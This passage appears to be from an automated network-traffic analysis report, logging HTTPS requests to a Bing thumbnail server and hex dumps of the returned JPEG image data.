5a 6b da dc 5a 47 6f 6b bd Data Ascii: =K4p#~)RK+\|\^ZjL~_KIcYR->biFRv.?4]-g*T)u-M{ tGj;u_b&r/3\U6y3mU#f mrGOiG4oZkZGok
2024-11-20 17:57:52 UTC	16384	IN	Data Raw: 00 6e 93 fb 5d 52 07 92 6f ba bf 71 f6 7d c5 a3 95 95 cf 13 6d a0 83 67 cd e5 af f1 51 6f 14 12 c7 b9 7c b6 ff 00 71 eb 06 d6 fa 56 d8 d1 c1 1b 2b 7c cf b1 1b fa f6 ab 1f 69 64 83 f7 71 c0 b3 7d e7 a3 95 93 ce 8d 98 ed 22 6f 9b ee ff 00 b7 51 79 16 8f ff 00 2d 37 35 63 49 a9 b4 11 ee 9a 3d db bf b8 9b 6a 7f ed 35 68 de 36 f3 e5 66 fe 0f 97 6f eb 47 23 0e 78 f6 36 1a ca 2f 2f 74 7e 5a 50 b6 5b be f7 97 ba a8 d9 ea 36 2f 1a f9 df 6a f2 ff 00 be 9b 7e 4f f8 0e 6a ec 77 be 1c 96 3f 2e 6d 5a fa 5d bf dc 45 a9 b4 82 32 83 24 8e ce 06 f9 5b ef 52 2d 9d b1 fb d2 54 91 ea 1e 0c 5f dd c7 26 aa cc bf c1 f7 69 3f b4 fc 35 73 02 79 70 6a 5b 59 f6 ba 3c ea db 3f 0a 5e f7 60 e6 83 18 d6 51 2e c6 fb ff 00 f0 3a 3e cd 6d e5 ff 00 bd fd fa 8e 69 f4 79 e3 76 92 79 ed 57 fe Data Ascii: n]Roq}mgQo\|qV+\|idq}"oQy-75cI=j5h6foG#x6//t~ZP[6/j~Ojw?.mZ]E2$[R-T_&i?5sypj[Y<?^`Q.:>miyvyW
2024-11-20 17:57:52 UTC	16384	IN	Data Raw: ba b3 d4 a5 8b fd 12 e2 de 78 fe 7f e1 75 89 d1 46 cf 7c 53 f6 4a 0d 74 4b cb 5f bc a5 2e 7d 12 df b9 c1 de 78 7e fa 38 13 ed 9a d4 7b 59 f6 ec d9 b5 a1 f6 da 99 3f 8d 5f b1 f0 df 84 2c f4 d8 66 57 d6 2f 2f 1b e6 7f 3a d7 74 5c fd d0 bd 5d bd ab a4 d0 60 d2 34 68 ee 21 be b0 d1 ed ee a5 4f f4 47 b8 f3 25 89 3e 6f bf f2 72 7d b2 2a a5 d7 8a fc 47 e1 7b 19 9a c7 c8 bc 92 79 99 bc df 21 95 52 43 ff 00 2d 3e 55 ed d9 57 a5 43 84 aa bb 46 76 f4 b7 f9 15 ed 23 4d ec ee 25 bf 9f 61 e7 43 0e 8b f6 56 b7 f9 76 3d ab 44 db bb e1 79 fc cf 4a 75 ba 6b 5e 64 32 7d ae 4b 79 22 9b cf 4f 3a d7 cd df 85 ff 00 9e 87 9e 7b 01 f5 ac bf f8 48 3c 7b e2 0b ef b6 5d 69 31 cb 32 da 2f 9a fe 46 d9 6e 59 3e 6f 33 63 11 b3 3f f8 f5 49 a7 de f8 a2 f2 37 6b eb 4b eb 39 2e 36 cb 6f b2 Data Ascii: xuF\|SJtK_.}x~8{Y?_,fW//:t\]`4h!OG%>or}*G{y!RC->UWCFv#M%aCVv=DyJuk^d2}Ky"O:{H<{]i12/FnY>o3c?I7kK9.6o
2024-11-20 17:57:52 UTC	16384	IN	Data Raw: b2 b7 fd f5 52 5c 45 3c 57 5e 75 c7 96 bb 7e 57 4d ff 00 37 e7 5a 91 d9 37 fa cf 2e 46 86 2f f9 63 b3 e6 aa ac 27 6f 9a e2 09 d7 fb e8 fb 7e ef d3 da 95 c3 5e 5d 8c d9 3c fb 8b 5f dd da 49 2e ef be ff 00 c5 ff 00 d6 15 a1 6e 60 87 4a fd f4 17 de 62 ff 00 cb 1f f5 be 4f b2 54 ed 2c f0 4e 93 43 1d ab 47 17 cb b2 6b 5d bf 2f fc 04 fc d4 9f da 1a bf 98 fa a7 d9 23 96 3d 8a be 4c 28 ab b3 14 f9 ac 44 5d d5 88 a4 b3 b3 8a 44 f3 3c ff 00 99 3e fe cf fe b5 24 db 7c f8 63 87 4d 4b 7f dc ed 9a 64 fe 3f 46 c0 ab b1 dc 4b 34 8f e5 c7 22 cd fc 10 ff 00 0f bf 14 43 04 ed 1f ee fc 86 91 7f b9 f3 6c 5f a5 3b 5c d2 fa 68 56 5b 7b 99 e4 46 f3 e3 dc bf c1 4e f2 25 83 f7 cd e4 37 f1 7c 94 9b e5 8a 4f 31 ad 20 dd bf e7 7d 8a be 76 69 24 fe d0 69 fe cb 37 9e cb 17 cc 9b 13 6f Data Ascii: R\E<W^u~WM7Z7.F/c'o~^]<_I.n`JbOT,NCGk]/#=L(D]D<>$\|cMKd?FK4"Cl_;\hV[{FN%7\|O1 }vi$i7o
2024-11-20 17:57:52 UTC	16384	IN	Data Raw: 04 b7 56 b0 c6 d3 43 71 04 9e 6c 2c 3b 72 00 7c 7a ad 79 f6 e5 58 36 cd 06 d6 6f b8 89 fd 0d 58 d1 6f ee 6d ef a1 5b 59 24 8b 73 aa be cf ee 96 f9 aa bd 8d 93 e5 64 a9 a3 b5 f1 44 8b 67 23 db ea 10 6d ba 6f 95 1f 7b 4a b7 2d fe c9 e7 ad 37 c1 32 de 5b 79 d3 43 e2 18 f4 99 2f 36 ac d0 a2 79 ab 6d 86 f9 77 7f b5 56 f5 0d 5d 6f ed 7e cb 1c 76 ab 0c b3 32 f9 2f 02 b3 7f bf 59 d6 af 2e 91 1c 30 e9 b0 46 ab 71 70 ad 33 c3 f3 33 e3 fb bb be e7 e7 ef 5c b2 9e 9a ee 74 46 12 6f c8 d5 f1 06 a1 e2 1d 1a 34 87 52 f1 85 8d bc 72 ba af fa 25 ab 6e 7f 9b e6 db 91 8d c3 d2 b6 b4 7d 57 4c 8a c5 f4 db 19 2e af fe cf b5 92 1d 8c b2 bc c3 82 f3 7d 7f bb 5c e5 f5 9e 9f 79 ae 5c 6b d7 d6 16 2b a7 db db ed 44 85 e3 56 9a 43 ff 00 2d 3e 66 e1 97 f5 f5 aa 5a c7 8a 1a f7 52 49 34 Data Ascii: VCql,;r\|zyX6oXom[Y$sdDg#mo{J-72[yC/6ymwV]o~v2/Y.0Fqp33\tFo4Rr%n}WL.}\y\k+DVC->fZRI4
2024-11-20 17:57:52 UTC	16065	IN	Data Raw: 9a 48 93 cd 44 44 fb ea 7e f7 23 ef 7b d7 0b 24 71 3f 8a a1 9a c6 08 ee 24 b8 46 6d 8f f2 ad ca ff 00 75 0f f7 ab a5 f8 7f aa c5 e1 ef 11 c2 d7 52 7d a3 c3 3a f6 e8 11 dd 3f e3 da e3 bc 6d fd c6 fe 74 56 8f 2b e7 8a f9 05 39 e8 e2 fa 96 3c 13 3e 91 2f 88 36 da d8 7d 9e 3b af 9a d1 2e 1d b6 fd df 9e 21 d9 f9 e4 1f c2 bd 63 c2 b6 d1 69 7a e5 c4 92 58 7f c4 b7 c9 5f bf 27 cc f2 0f ee 37 5e 3d 2b c8 75 cd 0e e6 d6 ea 6b 18 e0 91 be cf ba 78 51 1f f8 77 73 b6 bd 4b c1 3a ac 5a 95 f5 f4 76 77 fe 6a e9 a9 1f 93 f2 2f ef b7 af df dd ec df 2d 79 f8 d6 b9 2e f6 eb f7 a3 bb 08 d3 76 47 71 a8 44 9a cd ac 3b 67 92 29 97 74 b6 fb 3e 56 46 ff 00 69 bb fb d7 3b e3 4d 1e 2f 10 78 7f ed 13 4f 24 53 45 b6 2b 87 77 f3 55 30 df 36 c2 7f 8a b5 f4 f9 16 e2 d5 a1 58 e4 8a 45 f9 Data Ascii: HDD~#{$q?$FmuR}:?mtV+9<>/6};.!cizX_'7^=+ukxQwsK:Zvwj/-y.vGqD;g)t>VFi;M/xO$SE+wU06XE
2024-11-20 17:57:52 UTC	16384	IN	Data Raw: 5b 56 db e3 3d 63 73 3f ce 89 7d f2 c3 ff 00 a0 9d b5 0c 7a 87 8a ec ee 5c e8 5a c6 a3 1c ef 2b 49 72 c6 f5 97 7b 77 6f 9b 77 26 a1 aa ba fb cb ee 2a 35 29 3f f9 77 af a9 d3 c7 f0 cf c4 f1 6f 49 a4 d3 b6 a7 cb f3 ce bb 7f e0 44 f0 b5 ca 6b da 25 f5 ad f2 43 63 1c 9a 94 8a fb 51 f4 b4 92 7f 9b d7 ee 62 b2 35 9b bd 7b 55 6b 81 77 ac ea b7 9b 9f 74 a3 7b 49 bd bf e0 3c 55 8d 17 52 d6 6c b4 ef ec fd 3f 5a d6 2c e3 9f 73 4a 9b da 25 79 3f bb eb f8 d3 51 92 5a cb 53 39 d4 53 5a 42 cb d7 fa 46 cd c7 80 35 59 74 d7 b8 8e fe 06 d4 3f e7 d2 6f 32 09 7f 0d d5 9b 63 e1 cf 15 5b cf f6 5f f4 ad 49 b7 b2 f9 56 88 b2 b7 fd f5 54 b5 0b 4b cd 1a 0d d2 69 33 f9 d7 1b 5b e7 83 cd 96 6c b7 de 2c 79 fc 6a ce 87 a6 78 a2 f6 7f b4 58 a6 a4 d1 c5 b9 76 25 ac 9b 53 3f 8e 6a b6 5f Data Ascii: [V=cs?}z\Z+Ir{wow&*5)?woIDk%CcQb5{Ukwt{I<URl?Z,sJ%y?QZS9SZBF5Yt?o2c[_IVTKi3[l,yjxXv%S?j_
2024-11-20 17:57:52 UTC	16384	IN	Data Raw: 59 7e 5d e8 8c ac 9f 9f 51 5d 0d 8e 99 67 75 a6 f9 73 49 27 97 74 ea d0 dc 26 df 91 8b 63 77 ff 00 5a ae 78 8b 4a 9f 46 f0 ae 93 35 f4 7f e9 17 1e 67 da 1f f8 6d 98 48 55 3a 7a ad 73 2e 66 dd 8e 87 28 ad ce 1a c7 c1 d6 d6 73 db ab 5d cf 2a dc 3a b2 3e f5 dd 32 f7 05 7f 87 eb 5a fa 95 bc 5a 6c 9f e8 b0 79 51 de 42 d2 43 34 db 7c f9 a3 e9 f3 32 ff 00 10 ef 56 ac 6e f5 0b 88 12 de 47 93 6a 3a b2 6c 4f 9b f3 ab da f6 9f 28 ff 00 4a 69 23 6d bb 77 a3 fc db f1 45 e5 7b 74 07 ca d1 cb 7d 9e 0d 46 7b 4b 5b 59 e0 b7 92 5d ca 8e ff 00 75 1b fb a7 eb 59 9a a5 94 e9 a9 4d 0b 47 25 ae a1 6b fe b9 13 e5 6a de d4 ac 2c 6e a7 49 a3 82 4b 7b 8d ff 00 f2 c7 e6 ff 00 81 57 4f a7 f8 7e 0d 6e d6 1b 8d 4a fe 45 d4 22 45 5f b4 4c 8a ac 9f dd 56 fe ff 00 fb dd 47 7a ad 63 61 69 Data Ascii: Y~]Q]gusI't&cwZxJF5gmHU:zs.f(s]*:>2ZZlyQBC4\|2VnGj:lO(Ji#mwE{t}F{K[Y]uYMG%kj,nIK{WO~nJE"E_LVGzcai

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.6	49891	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:52 UTC	346	OUT	GET /th?id=OADD2.10239370639703_1XZVEAKL3PD7EZGL4&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-11-20 17:57:52 UTC	854	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 637660 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: F1DCE7E38619446FA8E46CBDC8C10330 Ref B: EWR30EDGE0822 Ref C: 2024-11-20T17:57:52Z Date: Wed, 20 Nov 2024 17:57:52 GMT Connection: close
2024-11-20 17:57:52 UTC	15530	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff e1 1d dc 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 d2 00 60 00 00 00 01 00 00 00 60 00 00 00 01 00 00 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 35 2e 31 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 33 3a 31 31 3a 32 31 20 31 36 3a 32 38 3a 34 30 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 04 00 00 00 01 00 00 04 38 a0 03 00 04 00 00 00 01 00 00 07 80 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 01 00 06 00 00 01 Data Ascii: JFIF``ExifMM*bj(1r2i``Adobe Photoshop 25.1 (Windows)2023:11:21 16:28:408
2024-11-20 17:57:52 UTC	16384	IN	Data Raw: 05 c2 c0 b0 c7 c2 c6 ab f3 31 f7 af 23 11 9a 53 8d d4 59 ec 50 cb 27 a3 99 e6 9f 0b 7e 15 dc ea 97 8b 77 a8 ed 58 63 6f f5 6c bf 7a bd 66 db e1 4f 86 a1 86 59 3f b3 e3 69 a5 5c 6e fb db 7e 82 bb ed 3f 4f 82 38 56 38 95 57 77 fc f3 ab ab 66 b1 af c9 d6 be 7b 11 98 55 a9 2b de c7 b3 47 0b 4e 9c 6c 91 e3 1a 6f c1 9d 00 ea 12 47 35 8c f2 47 bb e5 66 6a ec bc 2b f0 bf 43 d0 d7 fd 1a 05 f5 56 65 e7 f3 ae ce 45 78 f9 4e b5 2c 6e 7c bf 9f e6 35 cf 3c 5d 69 ab 39 33 58 d2 82 d9 1c cc de 17 d2 a3 9a 4b 97 b6 8d 99 b8 69 19 77 35 3b 4f d0 ac 85 d4 77 11 c7 b7 cb ad eb c1 e6 43 f2 2f 35 42 3d 42 de dd 96 09 65 55 3f ed 56 7c f3 6b 72 ac 91 d0 69 b2 8d aa 82 b4 a1 96 b9 88 ef c4 4d e6 2b 6e 8e ae e9 ba b4 57 3c c6 fb b6 d6 12 83 dc a4 74 b0 cb 9a b7 1c b5 91 6d 2e 6a Data Ascii: 1#SYP'~wXcolzfOY?i\n~?O8V8Wwf{U+GNloG5Gfj+CVeExN,n\|5<]i93XKiw5;OwC/5B=BeU?V\|kriM+nW<tm.j
2024-11-20 17:57:52 UTC	16384	IN	Data Raw: 6e 6b 72 cb 8a c5 d4 d7 42 94 6e 71 f7 e4 bb 63 6f 3f de aa 13 5b 33 f4 ae d5 f4 bc f2 eb ba 96 1d 32 33 fc 35 4a aa 27 95 9c 03 69 f3 bb 63 6d 5a b5 d0 2e 24 e7 6b 57 a0 db e9 90 22 ff 00 aa a9 a4 86 da de dd a5 b8 96 38 22 5f bd 24 8c 15 7f 33 4f db b7 b0 f9 12 dc e0 24 d0 a4 45 ce da 8e da c3 62 b4 8f fb b8 e3 5c b3 37 dd 5a 9b e2 07 c5 4f 87 9e 1b 69 6d e7 d6 a3 bc bb 8f 8f b2 58 fe f1 f3 ee 7a 0f ce bc 03 e2 67 c5 fb ff 00 10 dd 34 76 cb f6 5b 05 6f dc db 46 df 7b fd ff 00 ef 1a eb a3 46 b5 4d 5a d0 c2 a5 58 47 a9 ec 3a f7 8b 34 2d 36 dd 8c 53 fd aa 5e 8a b1 fd dc fb 9a e0 35 5f 1d 1b 8b e6 8d a7 55 3f f3 cd 7e 55 af 27 be d7 ae 27 8f 74 8c ca 7f 85 77 7c b5 8d a8 5d c8 ec a4 37 3f de af 46 9e 13 b9 c7 3c 43 b1 eb 3a e6 bb 1c 71 f9 b2 6d 6e fb a8 af Data Ascii: nkrBnqco?[3235J'icmZ.$kW"8"_$3O$Eb\7ZOimXzg4v[oF{FMZXG:4-6S^5_U?~U''tw\|]7?F<C:qmn
2024-11-20 17:57:53 UTC	16384	IN	Data Raw: d3 ad 46 cb 8a 62 2b b2 d2 32 d4 ce b4 d6 14 01 03 2e 7e 5a 7c 7a 7d d4 ed 20 82 da 79 0c 7f 7b cb 8c b6 da df f8 7f a1 4f ad 6b 51 a4 4b e6 08 d8 1d bb 6b e8 df 0c f8 5f 4c b0 d3 76 45 6d 1a 99 39 91 95 7e 66 35 e5 e3 b3 28 e1 9a 8a 57 67 a5 85 c0 fb 58 f3 49 d9 1f 3b 78 2f c0 1a be af 79 24 73 d9 b4 41 57 e5 8e 4e 1b ff 00 ad 5a da bf c1 7f 10 5b 59 b5 cc 57 36 d2 6d 52 7c a5 ce ea fa 2a c3 4e b7 b4 8d 84 11 2a ee e5 a8 bf b5 f3 ad 5a 23 f2 ee af 16 79 cd 77 2b c7 44 7a 31 c0 d0 4a cd 1e 5f fb 37 ff 00 6f da 69 f7 3a 66 af 17 97 6f 04 98 8b fb d5 eb b6 31 e1 b3 f7 85 65 59 d8 88 76 c5 1a aa 8a dd b3 8f 6c 6a 3f bb 5e 65 6a 9e d6 a3 95 ad 73 a9 45 42 0a 24 eb f7 68 53 4e a8 dc 81 50 22 1b 83 f3 53 d9 7f 77 51 33 a1 6c 1a 91 58 79 7f 7b 8a 43 2a fd 9c 19 Data Ascii: Fb+2.~Z\|z} y{OkQKk_LvEm9~f5(WgXI;x/y$sAWNZ[YW6mR\|NZ#yw+Dz1J_7oi:fo1eYvlj?^ejsEB$hSNP"SwQ3lXy{C*
2024-11-20 17:57:53 UTC	16384	IN	Data Raw: ef 55 66 b4 b2 dd e5 45 7c ab 24 72 66 4f dd ee 56 34 93 59 db dd 48 d7 51 4e d1 2c 5f bb 8e 35 8b ef 3f ad 51 41 b5 96 2b d6 d8 bf c2 b1 c7 f3 31 f4 27 d2 88 45 5d b8 b1 cd bb 59 9b fa 55 cd bc 50 c9 6a b2 f9 90 c7 93 fb a5 3b b7 ff 00 2a ae d6 ba ad c5 e4 86 09 56 d6 2e 07 76 6e 9d 07 a9 fa 56 8e 8b 10 86 e2 da c2 d3 cc 79 24 5d fb 95 7e 5f cc ff 00 3a f1 ad 63 e3 16 a3 a6 7c 44 92 31 03 41 a6 59 ca d1 c9 03 36 f9 18 83 82 c5 bd 7e 9c 57 2c f1 10 a7 27 6d cd 23 4a 52 5e 47 b1 68 7a 24 9a 8f 88 13 4f 96 79 25 b7 8b 12 5c ee 5d a5 40 f4 f4 f4 ae 92 ce 5b 3b 5f 10 46 fe 54 76 6d e6 6c b4 f2 a3 df b4 1e ad b7 bb 76 19 ae 47 e0 7f 8e bf e1 32 f1 45 d2 68 10 49 1d a4 56 c4 fe fd 42 b4 d2 1e e4 f6 51 5e a3 e1 bb 6b 2f b6 2d fc 76 6a d2 aa 97 92 e7 cc dd f3 8e Data Ascii: UfE\|$rfOV4YHQN,_5?QA+1'E]YUPj;*V.vnVy$]~_:c\|D1AY6~W,'m#JR^Ghz$Oy%\]@[;_FTvmlvG2EhIVBQ^k/-vj
2024-11-20 17:57:53 UTC	16384	IN	Data Raw: a8 2e 2d b6 cb 1e 36 b3 2f dd 1f e3 44 6f 2d 56 c5 3b 27 a9 61 a0 94 da af 96 aa b1 aa fd d5 f9 77 7e 75 4b 4c b6 bb 9e f9 a5 9e 5d b0 c7 93 23 6e fb de c2 ae 34 2c 1b cd bc f3 31 1b 13 fd ed c6 b4 33 6c 2c 55 ef 11 97 73 7c b0 fd dd c3 d0 e3 fa 52 73 e5 0e 5b b3 3e c2 cc bc 32 dc 09 64 8f fd af ee 8f 4f c6 aa 5c 80 cc c9 26 dc 37 dd dd f7 ab 7f 50 6b 6b 2d 2d 5e 75 58 37 36 63 89 7e 66 c7 ad 60 6b 57 76 90 b2 f9 10 2f 9d b7 2b bb 3f 37 a7 5a 74 9b 93 1c d2 48 86 48 22 95 58 18 97 e5 ff 00 81 55 06 e2 4f 2e 4d cb f3 6d 56 6f bb c5 69 47 22 36 d9 ff 00 b4 16 49 36 e7 6f 96 55 79 f7 f6 a8 52 72 d3 34 b3 ee 90 2f 3f 77 e5 fc eb a6 2d 98 15 2e 9a 49 db 11 4a ca 23 5a 29 8e c4 5c 34 83 e5 8b fb df c3 45 5d 89 bb 3e d3 48 e9 e9 16 69 f7 2f 6f 67 63 2d e5 e4 eb Data Ascii: .-6/Do-V;'aw~uKL]#n4,13l,Us\|Rs[>2dO\&7Pkk--^uX76c~f`kWv/+?7ZtHH"XUO.MmVoiG"6I6oUyRr4/?w-.IJ#Z)\4E]>Hi/ogc-
2024-11-20 17:57:53 UTC	16384	IN	Data Raw: 2c 56 28 e3 8f 1f bb 6d ad f5 af 4a 71 a9 ca 94 4e 4a 6e 0a 5e f1 9f aa 69 92 4c b3 dc da 4b 1c 71 33 7d d6 90 6e 6f c2 a3 d2 e7 b3 b6 b3 50 6f a7 8e 46 e1 97 6f c9 d7 f5 35 46 49 9f ed 1c 33 36 e6 f9 7f bd cd 5a bf d2 fc 98 63 94 de 40 d2 49 83 e5 45 f3 6d 1e e6 b7 e5 f7 79 66 cc 23 2f 7b 9a 27 55 e2 c9 24 8b 4d b5 b8 8a 06 f2 f6 63 cd 66 1b 98 7a 7a d7 17 78 8e dc 47 2b 65 bf 87 fb d5 d0 47 a0 eb 66 38 be d2 de 45 bb 47 be 49 65 63 b6 31 db f1 3e 95 91 7d 0a 43 71 e5 24 be 60 e9 e6 2f f1 54 61 b9 63 a2 77 2a b3 72 d6 c5 68 c3 ab 60 ab 29 fe f5 49 70 b1 ca b8 db b8 ff 00 7a 9b 82 1b 86 a7 ad b5 c3 db c9 3a 44 cd 0a b7 cd 22 fd d5 3f 5a ea ba 31 b3 7b 15 9e 20 8d ca f1 56 ac a3 b4 13 28 b8 66 58 db fb bf e7 8a ab 31 fd de c2 df ee d5 8b 38 ed da 16 49 59 Data Ascii: ,V(mJqNJn^iLKq3}noPoFo5FI36Zc@IEmyf#/{'U$McfzzxG+eGf8EGIec1>}Cq$`/Tacw*rh`)Ipz:D"?Z1{ V(fX18IY
2024-11-20 17:57:53 UTC	16065	IN	Data Raw: 55 8b b5 cc b1 15 5f a8 26 ba 0b 79 6d f4 bd 2e 5b b2 d2 49 71 3b 17 97 77 dd 51 d0 74 e7 15 72 39 ae 2f 2f 1a 78 e0 5f b2 5b 7d d6 5f 95 73 db 1d ab 12 e2 fa 2b 9f b6 5b 5f ca aa 3e ee ef ef 7a d6 52 93 aa f6 29 a5 08 da e5 8b 39 20 7b 55 d5 07 97 10 97 ee b6 d0 a7 ea 2b 3a 47 82 69 2e 7c d9 e3 cc 5c c7 22 e1 df 27 b2 e7 af e1 52 5d 18 35 0b 3f b1 69 16 db 62 6e 3c c9 3e e2 e3 fa fb 54 3e 1e d0 22 b7 d7 15 12 29 24 66 5f 9a 46 fa 72 54 76 ad 22 a3 14 db 7a 91 2e 69 59 2d 89 3c 1b 77 71 6b 6b 75 1b b3 7e fd b3 17 9a bf 33 67 8e 58 ff 00 4a 4d 61 d2 4b 5b a0 65 81 a4 b6 61 e5 45 b7 6a ae 7b e7 f8 8d 33 54 d5 34 bb 79 25 95 6d a4 fb 54 5f 27 cc db 97 ae 00 1f 95 57 f1 39 fb 65 af 99 23 2c 07 ca 1f 75 77 75 ec bf e2 6a a3 16 e6 a5 6b 5c 5c fc b1 6b 73 9b d5 Data Ascii: U_&ym.[Iq;wQtr9//x_[}_s+[_>zR)9 {U+:Gi.\|\"'R]5?ibn<>T>")$f_FrTv"z.iY-<wqkku~3gXJMaK[eaEj{3T4y%mT_'W9e#,uwujk\\ks
2024-11-20 17:57:53 UTC	16384	IN	Data Raw: fd e9 24 2d 23 67 dc f4 1d b1 47 c2 fd 3b 4f d5 b5 c9 23 bd 81 64 58 a2 32 6d 6f bb 91 eb 59 c2 75 29 46 73 aa ee 91 a4 94 66 e2 a0 6a fc 3f f0 d5 9b d9 ae b7 7b 3c 92 96 94 79 51 c6 bf 74 77 c9 3d eb b2 b3 d2 6c 9b 54 96 78 ac ed a2 95 54 18 d9 be 6f 2f dd 89 ef 53 3c 91 4b 62 be 64 b2 2c 31 63 6a ed d9 bb fd d1 d0 55 c6 df f6 55 16 71 2c 45 b9 66 da 5d 57 3e a7 ab 63 d2 be 77 13 8a a9 52 4d be a7 6d 3a 71 8c 6c 91 16 ac 44 b2 5a de 47 b9 7c b6 c3 34 4b fc 62 aa aa db db 5b c9 79 24 5e 6c b2 c9 fb a8 a5 fb ab 9e a4 f7 62 6a cc 97 b3 da 69 f7 26 05 9d 56 08 c9 8f cc 50 ad 21 c7 e4 05 63 e9 f7 91 b6 9b 26 aa f2 b4 72 34 58 5d cb f3 64 fd 6b 28 41 b8 ea 6d ca 97 a9 b4 8d 68 d3 47 72 5b 85 88 85 8d 57 77 3f c5 f4 15 c9 eb 62 7b 5d 3f 50 95 99 77 2c 67 ca f2 Data Ascii: $-#gG;O#dX2moYu)Fsfj?{<yQtw=lTxTo/S<Kbd,1cjUUq,Ef]W>cwRMm:qlDZG\|4Kb[y$^lbji&VP!c&r4X]dk(AmhGr[Ww?b{]?Pw,g
2024-11-20 17:57:53 UTC	16384	IN	Data Raw: 1e b8 c7 af ad 43 e4 5b dc ea d7 57 e7 74 92 ae 02 c5 1c 63 f7 64 75 f9 9b b9 ef 8a f8 bc 2d 49 c2 77 5a 2b 58 f4 b9 9c 5d 89 6e 34 3d 13 49 b7 83 46 b6 9e 08 2c ed d7 12 49 13 07 66 90 f5 07 fd ac d7 29 75 a4 25 94 93 db c5 aa c1 1b 5c c8 0a c7 c2 26 07 73 8f bd 57 e6 36 7a c5 d4 ba 65 96 9e d2 5c 33 07 69 65 ce c8 c7 f2 cd 67 eb 6f 20 f1 04 76 96 f0 2c f3 46 a1 e4 65 8c 32 e0 7e 1c 2d 75 46 35 5b e5 93 d5 ea 62 f7 b9 b3 12 2d ae 86 d2 5c 5e 2d e1 59 02 6d 8d 43 2c 63 dc f7 a8 f5 ed 42 28 34 b6 78 20 f3 da 49 14 2a ee fb c6 ab 78 09 35 8d 7b 4b 69 24 b6 6d d7 d7 66 d6 d2 35 5f 99 80 7f 9e 4e c1 54 0a da d6 f4 3d 0a cb e2 12 d8 59 5c c9 3b 5a a8 31 a7 de 1b f1 82 c7 f1 ae 4e 5a d0 9b 6e 3b 32 ad 26 ae 70 3f 1b af 4e 91 71 a1 d9 5b 6e 92 4b 9b 95 f3 24 65 Data Ascii: C[Wtcdu-IwZ+X]n4=IF,If)u%\&sW6ze\3iego v,Fe2~-uF5[b-\^-YmC,cB(4x I*x5{Ki$mf5_NT=Y\;Z1NZn;2&p?Nq[nK$e

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.6	49892	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:52 UTC	346	OUT	GET /th?id=OADD2.10239360264303_1FV8HLP8B8WOIRSCV&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-11-20 17:57:52 UTC	856	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 401499 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 7365878837A0460DAD267B674ECB6BB5 Ref B: EWR311000102019 Ref C: 2024-11-20T17:57:52Z Date: Wed, 20 Nov 2024 17:57:52 GMT Connection: close
2024-11-20 17:57:52 UTC	15528	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff e1 00 da 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 00 00 00 00 60 00 00 00 01 00 00 00 60 00 00 00 01 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 34 2e 32 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 33 3a 30 33 3a 32 34 20 30 31 3a 35 33 3a 31 31 00 00 03 